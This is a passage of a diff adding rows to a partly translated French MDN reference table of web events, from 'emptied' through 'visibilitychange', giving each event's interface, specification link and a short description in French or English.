+   <td>Le média a été vidé ; par exemple, cet événement est déclenché si un média a déjà été chargé (au moins partiellement) et que la méthode <a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> (charger) est appelée pour le recharger.</td>
+  </tr>
+  <tr>
+   <td>{{event("ended")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ended">HTML5 media</a></td>
+   <td>La lecture a été interrompue car la fin du média a été atteinte.</td>
+  </tr>
+  <tr>
+   <td>{{event("ended_(Web_Audio)", "ended")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName("Web Audio API")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{event("endEvent")}}</td>
+   <td>{{domxref("TimeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>Une animation <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> est terminé.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error">DOM L3</a></td>
+   <td>Le chargement d'une ressource a échoué.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> et </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-error">XMLHttpRequest</a></td>
+   <td>La progression a échoué.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>Une erreur a eu lieu lors du téléchargement du manifeste de cache ou lors de la mise à jour du contenu de l'application.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>Une connexion WebSocket a été fermée avec préjudice (par exemple, des données n'ont pas pu être envoyées).</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>Une connexion de la source d'événement a échoué.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>Une requête a causé une erreur et a échoué.</td>
+  </tr>
+  <tr>
+   <td>{{event("focus")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focus">DOM L3</a></td>
+   <td>Un élément a acquis le focus (ne se propage pas).</td>
+  </tr>
+  <tr>
+   <td>{{event("focusin")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusIn">DOM L3</a></td>
+   <td>Un élément est sur le point d'acquérir le focus (se propage).</td>
+  </tr>
+  <tr>
+   <td>{{event("focusout")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusout">DOM L3</a></td>
+   <td>Un élément est sur le point de perdre le focus (se propage).</td>
+  </tr>
+  <tr>
+   <td>{{event("fullscreenchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+   <td>Un élément est passé en mode plein écran, ou est revenu au mode normal.</td>
+  </tr>
+  <tr>
+   <td>{{event("fullscreenerror")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+   <td>Il est impossible de passer en mode plein écran pour des raisons techniques ou parce que la permission a été refusée.</td>
+  </tr>
+  <tr>
+   <td>{{event("gamepadconnected")}}</td>
+   <td>{{domxref("GamepadEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/gamepad/#the-gamepadconnected-event">Gamepad</a></td>
+   <td>Une manette de jeu a été connectée.</td>
+  </tr>
+  <tr>
+   <td>{{event("gamepaddisconnected")}}</td>
+   <td>{{domxref("GamepadEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/gamepad/#the-gamepaddisconnected-event">Gamepad</a></td>
+   <td>Une manette de jeu a été déconnectée.</td>
+  </tr>
+  <tr>
+   <td>{{event("hashchange")}}</td>
+   <td>{{domxref("HashChangeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-hashchange">HTML5</a></td>
+   <td>L'identifiicateur de fragment de l'URL a été changé (la partie de l'URL après le #).</td>
+  </tr>
+  <tr>
+   <td>{{event("input")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/forms.html#common-event-behaviors">HTML5</a></td>
+   <td>La valeur d'un élément change ou le contenu d'un élément avec l'attribut <a href="/en-US/docs/DOM/Element.contentEditable">contenteditable</a> est modifié.</td>
+  </tr>
+  <tr>
+   <td>{{event("invalid")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#constraint-validation">HTML5</a></td>
+   <td>Un élément à soumettre a été vérifié et ne satisfait pas ses contraintes.</td>
+  </tr>
+  <tr>
+   <td>{{event("keydown")}}</td>
+   <td>{{domxref("KeyboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keydown">DOM L3</a></td>
+   <td>Une touche est enfoncée.</td>
+  </tr>
+  <tr>
+   <td>{{event("keypress")}}</td>
+   <td>{{domxref("KeyboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keypress">DOM L3</a></td>
+   <td>Une touche est pressée et cette touche produit normalement un caractère (utilisez input à la place).</td>
+  </tr>
+  <tr>
+   <td>{{event("keyup")}}</td>
+   <td>{{domxref("KeyboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keyup">DOM L3</a></td>
+   <td>Une touche est relâchée.</td>
+  </tr>
+  <tr>
+   <td>{{event("languagechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{event("levelchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>L'attribut <code>level</code> a été mis à jour.</td>
+  </tr>
+  <tr>
+   <td>{{event("load")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load">DOM L3</a></td>
+   <td>Une ressource et ses ressources dépendantes ont fini de se charger.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code></td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>et </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-load">XMLHttpRequest</a></td>
+   <td>La progression est réussie.</td>
+  </tr>
+  <tr>
+   <td>{{event("loadeddata")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadeddata">HTML5 media</a></td>
+   <td>Le premier cadre du média a fini de se charger.</td>
+  </tr>
+  <tr>
+   <td>{{event("loadedmetadata")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadedmetadata">HTML5 media</a></td>
+   <td>Les metadata ont été chargées.</td>
+  </tr>
+  <tr>
+   <td>{{event("loadend")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>et </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadend">XMLHttpRequest</a></td>
+   <td>Progress has stopped (after "error", "abort" or "load" have been dispatched).</td>
+  </tr>
+  <tr>
+   <td>{{event("loadstart")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress </a><span>et </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadstart">XMLHttpRequest</a></td>
+   <td>Progress has begun.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A message is received through a WebSocket.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_webworker">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/workers/#communicating-with-a-dedicated-worker">Web Workers</a></td>
+   <td>A message is received from a Web Worker.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_webmessaging">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/webmessaging/">Web Messaging</a></td>
+   <td>A message is received from a child (i)frame or a parent window.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_serversentevents">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>A message is received through an event source.</td>
+  </tr>
+  <tr>
+   <td>{{event("mousedown")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousedown">DOM L3</a></td>
+   <td>A pointing device button (usually a mouse) is pressed on an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseenter")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseenter">DOM L3</a></td>
+   <td>A pointing device is moved onto the element that has the listener attached.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseleave")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseleave">DOM L3</a></td>
+   <td>A pointing device is moved off the element that has the listener attached.</td>
+  </tr>
+  <tr>
+   <td>{{event("mousemove")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousemove">DOM L3</a></td>
+   <td>A pointing device is moved over an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseout")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseout">DOM L3</a></td>
+   <td>A pointing device is moved off the element that has the listener attached or off one of its children.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseover")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseover">DOM L3</a></td>
+   <td>A pointing device is moved onto the element that has the listener attached or onto one of its children.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseup")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseup">DOM L3</a></td>
+   <td>A pointing device button is released over an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("noupdate")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The manifest hadn't changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("obsolete")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The manifest was found to have become a 404 or 410 page, so the application cache is being deleted.</td>
+  </tr>
+  <tr>
+   <td>{{event("offline")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-offline">HTML5 offline</a></td>
+   <td>The browser has lost access to the network.</td>
+  </tr>
+  <tr>
+   <td>{{event("online")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-online">HTML5 offline</a></td>
+   <td>The browser has gained access to the network (but particular websites might be unreachable).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been established.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/open_serversentevents">open</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>An event source connection has been established.</td>
+  </tr>
+  <tr>
+   <td>{{event("orientationchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/screen-orientation/">Screen Orientation</a></td>
+   <td>The orientation of the device (portrait/landscape) has changed</td>
+  </tr>
+  <tr>
+   <td>{{event("pagehide")}}</td>
+   <td>{{domxref("PageTransitionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pagehide">HTML5</a></td>
+   <td>A session history entry is being traversed from.</td>
+  </tr>
+  <tr>
+   <td>{{event("pageshow")}}</td>
+   <td>{{domxref("PageTransitionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pageshow">HTML5</a></td>
+   <td>A session history entry is being traversed to.</td>
+  </tr>
+  <tr>
+   <td>{{event("paste")}}</td>
+   <td>{{domxref("ClipboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#paste-event">Clipboard</a></td>
+   <td>Data has been transfered from the system clipboard to the document.</td>
+  </tr>
+  <tr>
+   <td>{{event("pause")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-pause">HTML5 media</a></td>
+   <td>Playback has been paused.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerlockchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+   <td>The pointer was locked or released.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerlockerror")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+   <td>It was impossible to lock the pointer for technical reasons or because the permission was denied.</td>
+  </tr>
+  <tr>
+   <td>{{event("play")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-play">HTML5 media</a></td>
+   <td>Playback has begun.</td>
+  </tr>
+  <tr>
+   <td>{{event("playing")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-playing">HTML5 media</a></td>
+   <td>Playback is ready to start after having been paused or delayed due to lack of data.</td>
+  </tr>
+  <tr>
+   <td>{{event("popstate")}}</td>
+   <td>{{domxref("PopStateEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-popstate">HTML5</a></td>
+   <td>A session history entry is being navigated to (in certain cases).</td>
+  </tr>
+  <tr>
+   <td>{{event("progress")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-progress">XMLHttpRequest</a></td>
+   <td>In progress.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/progress_(appcache_event)">progress</a></code></td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The user agent is downloading resources listed by the manifest.</td>
+  </tr>
+  <tr>
+   <td>{{event("ratechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ratechange">HTML5 media</a></td>
+   <td>The playback rate has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("readystatechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><span>HTML5 <span>et </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-readystatechange">XMLHttpRequest</a></td>
+   <td>The readyState attribute of a document has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("repeatEvent")}}</td>
+   <td>{{domxref("TimeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element is repeated.</td>
+  </tr>
+  <tr>
+   <td>{{event("reset")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-0#resetting-a-form">HTML5</a></td>
+   <td>A form is reset.</td>
+  </tr>
+  <tr>
+   <td>{{event("resize")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-resize">DOM L3</a></td>
+   <td>The document view has been resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("scroll")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-scroll">DOM L3</a></td>
+   <td>The document view or an element has been scrolled.</td>
+  </tr>
+  <tr>
+   <td>{{event("seeked")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeked">HTML5 media</a></td>
+   <td>A <em>seek</em> operation completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("seeking")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeking">HTML5 media</a></td>
+   <td>A <em>seek</em> operation began.</td>
+  </tr>
+  <tr>
+   <td>{{event("select")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-select">DOM L3</a></td>
+   <td>Some text is being selected.</td>
+  </tr>
+  <tr>
+   <td>{{event("show")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/interactive-elements.html#context-menus">HTML5</a></td>
+   <td>A contextmenu event was fired on/bubbled to an element that has a <a href="/en-US/docs/DOM/element.contextmenu">contextmenu</a> attribute</td>
+  </tr>
+  <tr>
+   <td>{{event("stalled")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-stalled">HTML5 media</a></td>
+   <td>The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.</td>
+  </tr>
+  <tr>
+   <td>{{event("storage")}}</td>
+   <td>{{domxref("StorageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/webstorage/#the-storage-event">Web Storage</a></td>
+   <td>A storage area (<a href="/en-US/docs/DOM/Storage#localStorage">localStorage</a> or <a href="/en-US/docs/DOM/Storage#sessionStorage">sessionStorage</a>) has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("submit")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-algorithm">HTML5</a></td>
+   <td>A form is submitted.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>A request successfully completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("suspend")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-suspend">HTML5 media</a></td>
+   <td>Media data loading has been suspended.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGAbort")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>Page loading has been stopped before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGError")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An error has occurred before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGLoad")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document has been loaded and parsed.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGResize")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGScroll")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being scrolled.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGUnload")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document has been removed from a window or frame.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGZoom")}}</td>
+   <td>{{domxref("SVGZoomEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being zoomed.</td>
+  </tr>
+  <tr>
+   <td>{{event("timeout")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-timeout">XMLHttpRequest</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{event("timeupdate")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-timeupdate">HTML5 media</a></td>
+   <td>The time indicated by the <code>currentTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchcancel")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/">Touch Events</a></td>
+   <td>A touch point has been disrupted in an implementation-specific manners (too many touch points for example).</td>
+  </tr>
+  <tr>
+   <td>{{event("touchend")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchend-event">Touch Events</a></td>
+   <td>A touch point is removed from the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchenter")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/">Touch Events</a> Removed</td>
+   <td>A touch point is moved onto the interactive area of an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchleave")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/">Touch Events</a> Removed</td>
+   <td>A touch point is moved off the interactive area of an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchmove")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchmove-event">Touch Events</a></td>
+   <td>A touch point is moved along the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchstart")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a></td>
+   <td>A touch point is placed on the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{event("transitionend")}}</td>
+   <td>{{domxref("TransitionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-transitions/#transition-events">CSS Transitions</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_transitions">CSS transition</a> has completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("unload")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-unload">DOM L3</a></td>
+   <td>The document or a dependent resource is being unloaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("updateready")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The resources listed in the manifest have been newly redownloaded, and the script can use <code>swapCache()</code> to switch to the new cache.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code></td>
+   <td></td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>An attempt was made to open a database with a version number higher than its current version. A <code>versionchange</code> transaction has been created.</td>
+  </tr>
+  <tr>
+   <td>{{event("userproximity")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/proximity/Overview.html">Sensor</a></td>
+   <td>Fresh data is available from a proximity sensor (indicates whether the nearby object is <code>near</code> the device or not).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></td>
+   <td></td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+   <td>A <code>versionchange</code> transaction completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("visibilitychange")}}</td>
+   <td>{{domxref("Event")}}</td>
